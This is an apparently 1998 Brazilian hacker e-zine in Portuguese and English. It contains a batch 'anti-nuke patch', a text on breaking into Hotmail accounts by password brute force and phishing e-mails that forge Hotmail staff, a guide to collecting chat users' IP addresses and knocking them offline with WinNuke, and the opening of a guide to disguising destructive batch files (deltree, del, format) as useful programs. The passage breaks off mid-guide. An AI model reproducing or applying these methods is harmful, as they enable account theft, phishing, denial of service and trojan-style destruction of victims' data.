┌╦═══╦┐ ┌╦═══╦┐ ┌╦═══╦┐ └╩═══╦┐ ├╬══ │║ ║│ └╩═══╩┘ └╩═══╩┘ └╩══╬╩┘ ┌╦═╦═╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═╦═╦┐ ┌╦ ╦┐ ┌╦═══╦┐ │║ ║ ║│ ├╬═══╬┤ └╩═══╦┐ └╩═══╦┐ ║ │║ ╔╝┘ ├╬══ └╩ ╩┘ └╩ ╩┘ └╩═══╩┘ └╩═══╩┘ └╩═╩═╩┘ └╩═╝ └╩═══╩┘ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═╦═╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ├╬══ ═ ┌╦═══╩┘ ║ │║ ║│ ├╬══ └╩═══╩┘ └╩═══╩┘ └╩═╩═╩┘ └╩ ╩┘ └╩═══╩┘ ANO 1 - Número 1 [Maio/1998] ┌╔═ ═╗┐ │║ INTRODUÇÃO ║│ └╚═ ═╝┘ Yeeaahhh, esta é minha primeira Zine Oficial !!! Sempre quis fazer uma Zine, mas nunca tive tempo, a não ser a Bad E-zine, que tratava somente de Badcom's e Badwin's... Mas agora, vou falar de tudo um pouco! Depois de ficar meio sem aparecer na NET, volto com tudo, mas por pouco tempo, pois estou sem aula por causa de greve nas faculdades ;-((, não sei quando volto a bitolar minha cabeça nas aulas... mas enquanto ñ volto, vamos ao que interessa... PS: Este TXT foi totalmente editado em MS-DOS no programa EDIT, portanto vai truncar tudo se quiser ver no Notepad ou etc... Vc's ja sabem disso.. ┌╔═ ═╗┐ │║ DISCLAIMER ║│ └╚═ ═╝┘ Sempre o mesmo Blá, Blá Blá... mas é preciso, e quem tem Zine ou sempre ta soltando textos pela Net sabe muito bem disso... Há muita coisa envolvida nisso. Bom, Esta E-zine foi feita, fundada etc.. etc.. por SeQ MaSsÎvE e é TOTALMENTE Proibida a cópia ou roubo do material contido aqui !!! Também NÃO me responssabilizo por mau uso do material contido aqui, tanto é que ja tive muita paciência com "Alguns" que arrebentaram o proprio PC e veio por a culpa em mim ! ┌╔═ ═╗┐ │║ NOTICIAS - E-MAIL - NOVIDADES - BESTEIRAS - ETC ║│ └╚═ ═╝┘ Não tenho novidades por enquanto, e não achem ruim que a Zine ficou pequena, a Primeira vez a gente nunca esquece.. ;-). Vou mostrar aqui uma coisa que ja publiquei na minha Home Page (http:// www.terravista.pt/Meco/1840), que é um E-Mail que recebi de um tal de Devil Joke. Isso esta aqui porque ?? R: Simples... quero mostrar para todos os leitores o que chega na minha pobre conta POP. E Também Dizer pela 1000lézima vez que "NÃO SOU" e não me intitulo Hacker porra nenhuma... Sim, esta Zine é sobre Hacking, mas falta muito pra eu ser Hacker, e assumir isso como um estilo de vida. Veja a seguir o Mail na Integra... Received: from hotmail.com (f99.hotmail.com [207.82.250.218]) by voyager.softdes.com.br (8.8.6/8.8.6) with SMTP id LAA25120 for ; Wed, 22 Apr 1998 11:16:07 -0300 Received: (qmail 22597 invoked by uid 0); 22 Apr 1998 14:08:48 -0000 Message-ID: <19980422140848.22595.qmail@hotmail.com> Received: from 200.239.6.39 by www.hotmail.com with HTTP; Wed, 22 Apr 1998 07:08:36 PDT X-Originating-IP: [200.239.6.39] From: Ändre Souza" To: seq@bestway.com.br Subject: Hi.. B0RA BaTER uM PaP0!! Content-Type: text/plain Date: Wed, 22 Apr 1998 07:08:36 PDT X-UIDL: babefba1e3b1fe3e12b58b2d3c6bdff3 Hi.. mY NaME iS [DEViL JOKE].. V0U C0MECaR a FaLaR 0 KE aCH0 DE Sua(Z) BRiNCaDEiRAS.. SEGuiNTE "SEu hACKER",BaDC0MS Eh MuiT0 Paia.. PQ Na0 aPRENDE ASM ou QQ uMa LiNGUaGEM DE aLT0 NiVEL (devo estar falando ingles) E FaZ "BaDC0MS"MuiT0 MaiS EFiCiENTEZ ?? Na0 aCH0 ERRaD0 Sua TENTaTiVa LaMER DE TENTaR SER aLGuEM N0 MuND0 UNDERGROUND ,MaS TENTe SEr MaiS CRiaTiV0.. VC SE aCHa o HaCKER E Na0 Eh P0000RRA NENHuMA!! CaPTuREi aLGuMAS FRaSES SuAS.. >> - Nuke -> Parece que hoje em dia os lammers so pensam em Nuke's, uma >> droga de programa que não serve pra nada... pois ha proteções e etc.. >> EU ODEIO NUKE'S... eta coisa de lammer !!!! Bom, faca igual o meu >> NuKe 98, que esta disponivel em http://badcom.home.ml.org (DEPoiS EU TE MaND0 0 "NuKiNNG iP"E N0iS C0NVERCaM0S!) VC FaLA C0M0 SE F0SSE o "hACKERZA0"!! E Na0 Eh NADA!! (FiC0 PuT0 C0M iSS0 tB) ...BLZ ESTa iND0 PEL0 CaMiNH0 ERRAD0 SE KER SER aLGUEM N0 MuND0 UNDERGROUND. Vi aLGuNS DE SEUS "PR0GRAMAS BaDCoMS".. MuiT0 Paia.. CHEGa DE PaP0 FuRaD0 E VaM0S a0 KE iNTERESSA!! SEGuiNTE.. KE P0RRA Eh ESSa DE SataniC ?? iSS0 ME iNTERESSA MuiT0 PQ S0u o ViCE PRESiDENT Da SaTaNiC'NET ,E N0iS D0 GRouP Na0 aCEiTaM0S iSS0.. iMiTaCa0 !! (acho ke nem vc gosta..) P0iSE.. G0STaRia DE SaBER a URL Da "HoME PaGE LaMER SuXZ"da SataniC !! A SaTaNiC'NET D0 KaL S0u MEMBR0 Ja EXiSTE EM BRaSiLia-DF aH MaiS DE 6 aN0S! Na0 aCEiT0 uM BaND0 DE LaMERZ uSaR 0 NoME PARA SuaS 0BRaS LaMERZ.. SaKA?? ai.. 0LHA S0h.. >> Agradecimentos: >> somente a SataniC, que alem de nao ter me ajudado a editar >> esta porra, e os Webmasters que sao meus amigos.. >> E ai galera a SataniC vai ou n SaTaNiC'NET WEB SiTE: http://xxx.satanic.net/xxx/private/nolamerz/nonerdz/fuckyou.htmla ai.. Sua SENhA DE LoGoN PeL0 FTP Da Sua H0ME PaGE Eh BEM DiFiCiL EM ??!!?? Ja EST0U a EXaTaMENTE 12:43 MiNuT0S PR0CuRaND0 E Na0 aCH0.. ia ESCREVER a MSG DENTR0 Da Sua PaGE.. MaS C0M0 DEM0R0U ,RES0LVi P0STAR uMa "MSG LaMER SuXZ.." ai.. Eu SEi KE VC Vai RESP0DER ME XiNGaND0.. MaS TuD0 BEM.. Eu ENTEND0 aT0S LaMERZ.. OkZ.. aCH0 KE ENTENDEU 0 RECaD0...... C Ya... [ZaCK SLAiER] aND [DEViL JOKE] ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ... É Parece que ele executou algum Badcom perdido por ai na NET... ┌╔═ ═╗┐ │║ CÓDIGO FONTE ║│ └╚═ ═╝┘ Todos os Números, vão ter sempre um programa em código Fonte na Integra, nesta Zine Número 1, o código fonte do Nuke Path 2.0., Depois de muito bug, ele funciona bem, no 2.0. Para compilalo, use o BAT2EXEC.COM __________Corte__________ @echo off : : : : : SeQ MaSsÎvE® 1998 (Todos os direitos reservados) : : Project Name: SeQ MaSsÎvE's No Nuke Path 2.0; : Original File Name: patch.bat; : Compiled File Name: patch.com; : Original Date: Sexta-feira, 6 de Março de 1998; : Programer: SeQ MaSsÎvE®; : Dependency Files: ansi.com; : Company Name: ; : : OBS: É totalmente proibida o roubo de informações contidas neste ; : patch, qualquer dúvida ou bug relatado, favor entrar em contato; : com seq@bestway.com.br ou seq_puc@hotmail.com; : : : : Carregando ANSI.COM...; ansi.com :Tela Kami; echo [?7h echo  ██ ▄█▀ ▄▄▄███▄ ▄█▀█▓ ██▓ ██ ▄█▀ ▄▄▄▓███████▒ ▓ ▄▄██ echo ██▄█▒ ▒▄▀ █▄▓██▒▀█▀ ██▒ ▓Ì█▒ ██▄█▒ ▒▄▀ █▄▒ ▒ █░ ▓█ ▀ echo ▓███▄░ ▒██ ▀█▄ ▓██ ▓█ ░ ▒ █▒ ▓███▄░ ▒██ ▀█▄ ░ █████ ░ ▒█ █ echo ▓██ █▄ ░▄█▄▄▄▄██ ▒██ ▒ ░Ì ░ ▓██ █▄ ░▄█▄▄▄▄██ █▓ ▒▓█ ▄ echo ▒▄█▓ █▄ ▓█ ▓██▒ ▒▄█▒ ░ █▒ ░Ì█░ ▒▄█▓ █▄ ▓█ ▓██▒ ▒▀▄▄▄▄██▓ ░▒████▒ echo ▒ ▒▒ ▓▒ ▒▒ ▓▒█░ ░ ▒░ ░ ░ ░▓ ▒ ▒▒ ▓▒ ▒▒ ▓▒█░ ░▒▒ ▓░▒░▒ ░░ ▒░ ░ echo ░ ░▒ ▒░ ▒ ▒▒ ░ ░ ░░ ▒ ░ ░ ░▒ ▒░ ▒ ▒▒ ░ ░░▒ ▒ ░ ▒ ░ ░ ░ echo ░ ░░ ░ ░ ▒ ░░▒ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ echo █▀▄░█ ░▄░ ▀ ░ ░ ▄▀▀▄█ ░█▀█ █▀█ █▀█ ▄▀ █▀▄ ▀▄ echo █▀ █▀▄ █▀█ █▀█ █ █ █▀▀ ▀█▀ █ █▀█ █▀█ ▀▄█ ▀▀█ ▀▀█ █▀█ █ █▀▄ █ echo ▀ ▀ ▀▀▀ ▀▀▀ ▀▀ ▀▀▀ ▀ ▀ ▀▀▀ ▀ ▀ ▀▀▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀ ▀ ▀ ▀ ▀ echo  pause : Var 1 - Inicio; :ini cls : Carregando Tela 1...; echo [?7h echo ▒▒▒ SeQ MaSsÎvE's (No NukE Patch 2.0)▒▒▒ echo ▒▒▒▒▒▒BUG FIXED▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒Este programa irá te proteger de qualquer▒ echo ▒tipo de Nuke, para instalar a proteção ▒ echo ▒siga as instruções abaixo.▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒Digite:▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒[1] Para instalar a proteção.▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒[2] Para desinstalar a proteção.▒▒▒▒▒▒▒▒▒▒ echo ▒[3] Sobre este patch!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒[4] Sair.▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo  : Choice; choice /n/c1234 : Declarando funções; if errorlevel 4 goto end if errorlevel 3 goto sob if errorlevel 2 goto des if errorlevel 1 goto ins : Var 2 - ins; :ins cd\ echo searching... cd\win\system cd\windows\system cd\win95\system cd\wind\system cd\win311\system ren vnbt.386 vnbt.seq cls echo Proteção Instalada, Reinicie seu computador para que as novas echo configurações sejam ativadas... goto end : Var 3 - des; :des cd\ echo searching... cd\win\system cd\windows\system cd\win95\system cd\wind\system cd\win311\system del vnbt.386 ren vnbt.seq vnbt.386 cls echo Proteção Desinstalada, Reinicie seu computador para que as novas echo configurações sejam ativadas... goto end : Var 4 - sob; :sob cls echo [?7h echo ▒▒▒ SeQ MaSsÎvE's (No NukE Patch 2.0)▒▒▒ echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒Este programa protege você de Nukes, ▒ echo ▒que atingem um Bug do Windows durante o ▒ echo ▒acesso à Internet..Para saber mais sobre ▒ echo ▒este BUG, contate-me pelo e-mail: ▒ echo ▒seq@bestway.com.br ▒ echo ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ echo ▒Este Programa foi feito por SeQ MaSsÎvE ▒ echo ▒Kamikaze Productions 1998. ▒ echo ▒Especial Thanx to: ▒ echo ▒WarBlade and Krail, Kamikaze Producitons ▒ echo ▒Qualquer tecla para voltar ▒ echo  pause goto ini : Fim; :end __________Corte__________ ┌╔═ ═╗┐ │║ TEXTOS ENVIADOS POR AMIGOS ║│ └╚═ ═╝┘ Este primeiro foi enviado por Mr. YoZZo, e e' em Ingles... Mostra varios modos de se Hackear o Hotmail (http://www.hotmail.com). Valeu'z Mr YoZZo, Seu artigo faz parte da primeira Zine.. se quiser mandar mais material e so' falar comigo. Texto enviado por: Nick: Mr. YoZZo UIN: 4821767 Home Page: http://chatspam.home.ml.org http://mcpage.home.ml.org ááá NEW Hotmail-Hacking-text V4 ááááááááááááááááá Only parts of this text are new (look below) ----------------------------------------------------------------------- I_1_Iá - Brute force hacking a. Use telnet to connect to port 110 (Hotmail┤s pop-server) b. Type USER and then the victim┤s username c. Type PASS and then the guess a password d. Repeat that until U have found the correct password. !. This is called brute force hacking and requires patience. It┤s better than trying to guess the victims password on hotmail homepage only because it┤s faster.á ____I_2_Iá - The Best way a. Get the username of the victim (It usually stands in the adress-field ) b. Then type " www.hotmail.com/cgi-bin/start/victimsusername " c. U┤re in! !. This hack only work if U are on the same network or computer as the victim and if he don┤t log out.á ____I_3_Iá - The old way a. Go to http://www.hotmail/proxy.html b. Now type the victims username. (press login) c. Look at the source code. d. On the fifth row U should find "action=someadress" e. Copy that adress and paste it into the adress-field f. You are in... !. As you can see it┤s a long procedure and the victim have plenty of time to log out.á á____I_4_Iá - Another... a. Go to hotmail┤s homepage b. Copy the source code. c. Make a new html file with the same code but change method=post tomethod=enter d. "view" the page e. Change the adress to www.hotmail.com/ (don┤t press enter!) f. Make the victim type in his username and password g. Look in the adress-field. There you┤ll see ...&password:something... á !. This is the way I use, because it lets you know the password. (If he exits the browser U can see the password in the History folder!)READ! Hotmail┤s sysops have changed the "system" so that the victim may log out even if U are inside his/her account. So don┤t waste U┤r time!--- So you want to get some hotmail passwords?á This is pretty easy to do once you have got the hang of it.á If you are a beginner, I wouldn't make this your first attempt at hacking.á When you need to do is use a port surfer and surf over to port 80.á While there, you have to try and mail the user that you want the password from.á It is best to mail them using the words "We" and "Here at Hotmail..."á Most suckers fall for this and end up giving out their password.á There is another way to also, you can get an anon mailer, and forge the addres as staff@hotmail.com.á But you have to change the reply address to go to a different addres like user@host.com.á The person that you are trying to get the pass from MUST respond to that letter for the mail to be forwarded to you. Have text like "Please reply to this letter with the subject "PASSWORD" and underneith please include your user name and password.á If you have trouble Loging in withing the next few days, this is only because we are updating our mail servers but no need to worry, your mail will still be there.á Even though the server may be down for an hour.á From the staff at Hotmail, Thank You."á ┌╔═ ═╗┐ │║ IP's By WarBlade ║│ └╚═ ═╝┘ Texto feito por WarBlade, quando era da Kamikaze, portanto, ha' alguma coisa relacionada a Kamikaze, para nao modificar o original, eu nem alterei nada. WarBlade, Valeu cara pelo Texto... Espero que faça mais textos pra entrar na Zine !!!, Valeu'z Texto Enviado e Feito por: WarBlade UIN: 1858333 Home Page: IP`s Bom pra início de conversa, quero deixar bem claro que esse texto foi feito pela Kamikaze Productions e a reprodução deste material é restrito portanto entre em contato antes de querer reproduzi-lo. Aqui neste txt especial de IP da Kamikaze você vai ter a opuortunidade de aprender como nukar uma pessoa, como pegar o IP de uma pessoa em chats, com HTML ou sem HTML e como saber qual é o provedor que o cara do IP tem. Coisas simples de se fazer, mas que muita gente não sabe e gostaria de aprender, portanto esta aqui o que você queria. Vamos acabar com essa história de que só da para pegar ip em sala com HTML, usando um comando de Dos, que muita gente já conhece tambem, mas não tem problema nenhum ressaltar. Para aprender a fazer estas coisas, você tera que ceder alguns minutos de sua vida lendo este HTM, e acompanhar os precessos de rastreamento de IP em chats,e tambem poderá fazer o download de dois programas, uma para NUKAR o IP que você rastreou, e outro para rastrear o provedor do IP. Aqui vai um conselho bom: Preste atenção com quem você quer nukar, pois quem tem programa de nukar, tem programa de se defender de NUKES, programas que desligam a porta 139 e rastream o ip de quem tentou nuka-lo, portanto tome cuidado com quem você vai "tentar"nukar, pois o tiro pode sair pela culatra, e o nukado pode ser VOCÊ ;) Mas chega de papo furado e vamos para o que interessa, boa leitura... Assuntos tratados 1-) Como pegar IP em uma sala com HTML 2-) Como pegar IP de uma pessoa em uma sala sem HTML 3-) Como nukar um IP (download do programa) 4-) Como rastrear o provedor do IP (download do programa) Pegando IP em uma sala com HTML Bom pegar ip em sala de HTML é muito simples, basta você ter um dos dois programas chamado, Omni Httpd ou Xitami. Aconselho que você faça o download do Omni Httpd Professional 2.0 Alpha pois é melhor que o Xitami. Você pode fazer o download deste programa na seção de Files de nossa home page. Para pegar o bendito ip, você tem que somente colocar uma imagem *.gif ou *.jpg no diretório c:/Httpd/Htdocs/ Vamos supor que você colocou uma imagem chamada: kamikaze.gif neste diretório. Então, logo após vá para o chat desejado, www.uol.com.br, www.sti.com.br,ou qualquer outro que tenha salas que aceitem os tags HTML. Ápos ter entrado em um desses chats, vá ao Prompt do MSDOS (supondo que você use o Windows) e digite o comando netstat e veja o seu IP, isto é o ip que você esta usando naquele momento. Então o que você tem que fazer agora é muito facil, basta colocar este comando no Campo de mensagem do chat. A imagem irá aparecer no chat, é claro, então você da um shutdown no Omni Httpd e vá para o Bloco de Notas ou o Word e abra o seguinte arquivo c:/Httpd/Logs/access.log se você não tiver dado o shutdown no server ele não irá abrir o arquivo, pois vai aparecer uma mensagem de que o Omni esta usando o arquivo, por isto entre no programa e clique em Admin e depois em Shutdown Server. Com isso vai aparecer no access.log o IP do condenado e o nickname dele, veja no exemplo como irá aparecer. 200.000.000.000 - - [01/Sep/1998:21:00:00 -0300] "GET /kamikaze.gif HTTP/1.0 "200 9657 "http://200.240.5.38:2000/BODY&USER=CLAUDIO&VERBOSE=0&HISTORY=4&NO PIC=0&""Mozilla/3.0Gold (Win95; I)"200.000.000.000 200.200.200.200 - - [01/Sep/1998:21:00:00 -0300] "GET /kamikaze.gif HTTP/1.0 "200 9657 "http://200.240.5.38:2000/BODY&USER=LAMMER&VERBOSE=0&HISTORY=4&NOP IC=0&""Mozilla/3.0 (Win95;I)"200.000.000.000 200.000.000.000 - - [01/Sep/1998:21:00:00 -0300] "GET /kamikaze.gif HTTP/1.0 "200 9657 "http://200.240.5.38:2000/BODY&USER=JÚNIOR&VERBOSE=0&HISTORY=4&NOP IC=0&""Mozilla/4.01 [en] (Win95; U)"200.000.000.000 Ordem das informações: IP da pessoa/ Data e horário/ A figua que você mandou/ O chat que você estava/ O nikaname das pessoas/ O browser e o sistema operacional que a pessoa esta usando/ Seu ip/ Então se eu quizese neste exemplo saber o ip da suposta vítima (no caso que quero saber o ip do Lammer), é só você ir no fim da lista procurar o nikname da pessoa, no caso Lammer e voltar a frente da lista para ver o ip dela. Lammer= 200.200.200.200 Pronto, entre agora com o seu Nuker e manda bala na vítima. ;) Obs: Nem sempre o nickname da pessoa vai aparecer de primeira tentativa, portanto fique tentando sempre até aparecer o nickname dele. Pegando IP em salas sem HTML Bom agora vem o mais importante, pegar ip em um chat que não aceite tags HTML. Mas por incrível que pareça, é mais facil do que pegar um ip em uma sala que aceite tags de HTML. O truque é o seguinte vá ao Prompt do MSDOS e digite: arp -a isto é [arp(espaço)-a] Com isso irá apareçer um monte de IPs lá, exemplo: |200.200.200.200 |200.000.000.000 |200.000.000.001 |200.000.000.002 O primeiro IP é o seu e o ultímo IP é do cara que te mandou por ultimo uma mensagem no chat. Isto é, vamos supor que o Rick te mandou uma mensagem, ele mandou: Rick fala para VOCÊ: OI cara tudo bem? Dai você resolve pegar o ip dele, e vai ao dos e da o arp -a, o ultimo IP que esta lá é o IP do Rick, isto se ninguêm mais tiver te mandado uma mensagem neste tempo. Chegamos a conclusão: Rick=200.000.000.002 Você=200.200.200.200 E pronto você já tem o IP da vítima. E agora que você já sabe como pegar o IP de uma pessoa, não preca tempo e pegue logo o programa de nukar IP. :) Nukando IPs. Pra nukar um IP, é muito simples, basta fazer o download de algum NUKER bom, ou por exemplo o download do wingenocide que simplesmente COME memôria RAM do computador da vítima. Não se preocupe pois não vamos ficar falando a parte teórica de como funciona o NUKE, basta você saber bem por cima de que há uma porta 139 que tem um bug, e é essa porta que você vai nukar, retirando a pessoa da internet (desconecta ndo-a). Se você esta interessado em fazer o download de um programa de NUKE sugiro que você pegue um programa chamado Winnuke, que já ganhou fama por ser um programa muito bom. Usando este programa basta você pegar o ip da vítima, sendo por qualquer modo que ensinamos acima, ou por outro método e colocar este IP no campo indicado no programa, depois é só você apretar o botão NUKE! e esperar aparecer a mensagem de que o nuke foi enviado. Rastreando o prvedor do IP. Se você não quer nukar, por qualquer motivo, sendo por ter medo dele ter proteção ou por não querer mesmo, ou se você quer apenas dar um susto na vítima do IP, esta é uma solução boa, pois com este programa você pode rastrear o provedor do dono do IP. Por exemplo, o cara chega te abordando e te provocando então você pega o ip deke como ensinamos, rastreia o provedor dele, faz de conta que é a NETWEB e diz pra ele... "Fica de boa ai cara, e a proposito a NETWEB continua rápida como sempre?" Isto vai dar um bom susto nele com certeza. Para fazer isto basta você fazer o download de um programa SCAN. Aqui você pode fazer o download do IPscan que é o mais simples dos SCANS, mas se você prefirir vá até nossa seção de arquivos e copie o cyberkit ou outro qualquer. Usando o IPscan, tudo que você tem que fazer é colocar o IP da pessoa no campo indicado e apretar START que logo irá aparecer o provedor da pessoa em baixo. Se você gostaria de fazer o download deste programa, ele se encontra em vários Sites da Net, e também na Kamikaze Productions, ele vem com o nome de IPscan.zip Bom, acho que isso é só, tome cuidado com o que você for fazer e bom divertimento, e leia mais textos feitos pela Kamikaze.;) Este texto foi feito por WarBlade da Kamikaze Productions. Agradecimento especial a «MëmKëëpër®», que ajudou a Kamikaze. Valeu'z War, por ter deixado colocar seu Txt aqui !!! ┌╔═ ═╗┐ │║ GUIA DEFINITIVO DE BADCOM'S ║│ └╚═ ═╝┘ Este Texto, ou melhor.. Esta Biblia.. hehe foi enviada por ØvërlørÐ, que Bitolou em Badcom's e fez uma biblia sobre o assunto, eu não cheguei a ler tudo, mas só de dar uma olhada da pra notar que ta Completissimo !! Valeu'z ØvërlørÐ, Querendo mandar mais coisas, estamos aí. ────────────────────────────────────────────────────────────────────────────── -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ┌────────────────────────────────────────────────────────────────────────────┐ │ Ê────┐ Í──┐ Ê──┐ Í─────┐ Í──┐ Í─Ê─┐ Í─┐ │ │ ║ │ Ã──┤ ║ │ ║ ║ │ ║ ║ │ Ë─┐ │ │ Ã────┴┐ ð ┴ ð──┘ ║ Ë──┘ ð ð ┴ Ë──┘ │ │ ║ │ ║ │ │ ð─────┘ Ë─────┘ │ │ │ │ O GUIA DEFINITIVO - Versão 1.666 │ │ │ │ AUTOR: ØvërlørÐ │ └────────────────────────────────────────────────────────────────────────────┘ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ────────────────────────────────────────────────────────────────────────────── ┌────────────────────────────────────────────────────────────────────────────┐ │\/\/\/\/\/\/\/\/\/\/\/\/\/ - - = [ AvIsO ] = - - \/\/\/\/\/\/\/\/\/\/\/\/\/\│ ├────────────────────────────────────────────────────────────────────────────┤ │ Não vou dizer que esse texto é apenas para fins informativos e que tudo │ │ que está contido aqui não deve ser usado porque eu sei muito bem que quem │ │ está lendo isso quer mesmo é fuder o computador de alguém, mas lembre-se │ │ de que eu, ØvërlørÐ, não estou nem aí com o que pode acontecer com você │ │ devido ao uso das informações aqui contidas. Se o seu cachorro morrer, │ │ você engravidar sua empregada ou se terroristas invadirem sua casa e │ │ explodirem seu computador não venha me encher o saco, FODA-SE! :-) │ │ Use essas informações à vontade, mas faça tudo por SUA conta! │ │ Você pode copiar este arquivo, contanto que deixe bem claro que EU sou o │ │ único autor desse texto. Não fazendo isso você só estará provando o lamah │ │ que é... Agora chega de falar merda e vamos ao que interessa... │ └────────────────────────────────────────────────────────────────────────────┘ ┌────────────────────────────────────────────────────────────────────────────┐ │\/\/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ÍnDicE ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/│ └────────────────────────────────────────────────────────────────────────────┘ 1. IntroDuçÃo AoS BaDComS 1.1) Informações gerais 1.2) O que é necessário? 1.3) Como fazer um BADCOM? 2. ComAnDoS dO DoS 2.1) ECHO 2.2) DEL/ERASE 2.3) DELTREE 2.4) FORMAT 2.5) FOR 2.6) IF 2.7) SET/VARIÁVEIS NO DOS 2.8) GOTO 2.9) VER 2.10) VOL 2.11) CLS 2.12) ATTRIB 2.13) CALL 2.14) CHOICE & ERRORLEVELS 2.15) COPY 2.16) CTTY 2.17) DIR 2.18) TYPE 2.19) MORE 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR 2.21) LABEL 2.22) FIND 2.23) PAUSE 2.24) REN/RENAME 2.25) SUBST 2.26) TIME 2.27) REM 2.28) DOSKEY 2.29) XCOPY 3. ReCurSos InTeRessAnTeS 3.1) PIPES 3.2) Redirecionamento de I/O 3.3) Diretórios inacessíveis 3.4) ANSI 4. ExEmPloS (100% ComENtAdoS) 4.1) Detectando o idioma do DOS 4.2) Detectando a data do computador 4.3) ANSIBOMB 4.4) Travando o computador 4.5) Time Bomb 4.6) Enchendo o HD de lixo 4.7) Abrindo janelas infinitamente 4.8) Usando o DOSKEY pra destruir 4.9) Travando o computador durante a inicialização 5. CoMo ConTaTar o AUtOr ApÊnDiCe B: TaBeLa ASCii Apêndice B: ERRoRlEvElS ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\/\ - - = [ IntroDuçÃo AoS BaDComS ] = - - /\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ 1.1) Informações gerais BADCOMS são, basicamente, arquivos batch do DOS transformados em arquivos executáveis com o uso de um compilador. "Mestre, mestre! Ilumine as trevas de minha ignorância com a luz de sua sapiência! Por que eu deveria me dar ao trabalho de compilar os batches?" Simples, qualquer imbecil sabe pra que servem comandos como o FORMAT ou DEL e qualquer imbecil também sabe usar o comando TYPE pra ver o conteúdo de um arquivo, logo, se esse mesmo imbecil der um TYPE no seu batch e ver qualquer comando "estranho", vai saber de suas más intenções e não vai rodar o programa. Se você transformar em um executável, ninguém poderá ler o conteúdo do arquivo e você poderá fazer a festa! :-) 1.2) O que é necessário? Você precisa apenas de um editor de texto (MS-DOS Edit RuleZ!), um compilador de arquivos .BAT, conhecimentos básicos de DOS, criatividade e uma vontade louca de detonar alguém! :-) Uma ferramente opcional: editor de telas ANSI, pra voce não ter que escrever toneladas de códigos de escape pra fazer uma tela legal. Onde encontrar ferramentas úteis: -> http://www.filez.com 1.3) Como fazer um BADCOM? Fácil. Abra seu editor ASCII favorito e escreva os comandos que você quiser. Mas um BADCOM não adiantará nada se a interface não for convincente. Não é nada inteligente exibir uma mensagem como "Ha, Ha, Ha! Detonei seu HD!", a melhor coisa a fazer é terminar o programa com uma mensagem de erro, porque se o cara vier te amolar você responde: "UÉ... AQUI FUNCIONOU LEGAL...". O principal é: SEJA REALISTA! Se você vai dizer pra sua vítima que o seu BADCOM é um MailBomber, faça ele se parecer com um MailBomber. Outra idéia legal é pegar qualquer arquivo executável e renomear ele pra ?.DAT e mandar junto com o seu programa. Qualquer um desconfia quando você passa um único arquivo executável de 2KB. ┌────────────────────────────────────────────────────────────────────────────┐ │\/\/\/\/\/\/\/\/\/\/\ - - = [ ComAnDoS dO DoS ] = - - /\/\/\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ Essa parte contém vários comandos que podem ser utilizados não só em BADCOMS mas em batches inofensivos. Para maiores informações sobre os comandos do DOS escreva HELP no prompt ou se quiser saber mais sobre um determinado comando escreva o comando e adicione a opção /?. Exemplos: C> echo /? C> format /? C> for /? 2.1) ECHO Sintaxe: ECHO [string] Exemplo: C> echo Fuck You Fuck You O comando ECHO, de forma geral, exibe uma string na tela. Caso essa string seja OFF, desativará a exibição dos comandos na tela. Se for ON, ativará a mesma. Exemplo de arquivo: [echo1.bat] echo on echo ECHO está ativado echo off echo ECHO está desativado Quando você rodar esse programa, verá o seguinte: C> echo on C> echo ECHO está ativado ECHO está ativado C> echo off ECHO está desativado Colocar uma @ antes do primeiro comando de cada linha, equivale ao ECHO OFF, mas apenas nessa linha. Para que o programa fique melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha do programa, assim você não precisa colocar uma @ antes de cada linha. 2.2) DEL/ERASE Sintaxe: DEL [nome_do_arquivo] ERASE [nome_do_arquivo] Exemplos: C> del autoexec.bat C> erase autoexec.bat Esse comando não precisa de muita explicação. Apenas exclui o arquivo especificado. WildCards podem ser usadas (* e ?). 2.3) DELTREE Sintaxe: DELTREE (/Y) [nome_do_arquivo] Exemplos: C> deltree c:\windows C> deltree /y c:\games Também não tem muito segredo. Exclui um diretório e tudo que tiver dentro dele. A opção /Y detona tudo sem pedir confirmação mas deve ser usado logo após o comando DELTREE. Isso NÃO funcionaria: C> deltree c:\windows /y 2.4) FORMAT Sintaxe: FORMAT 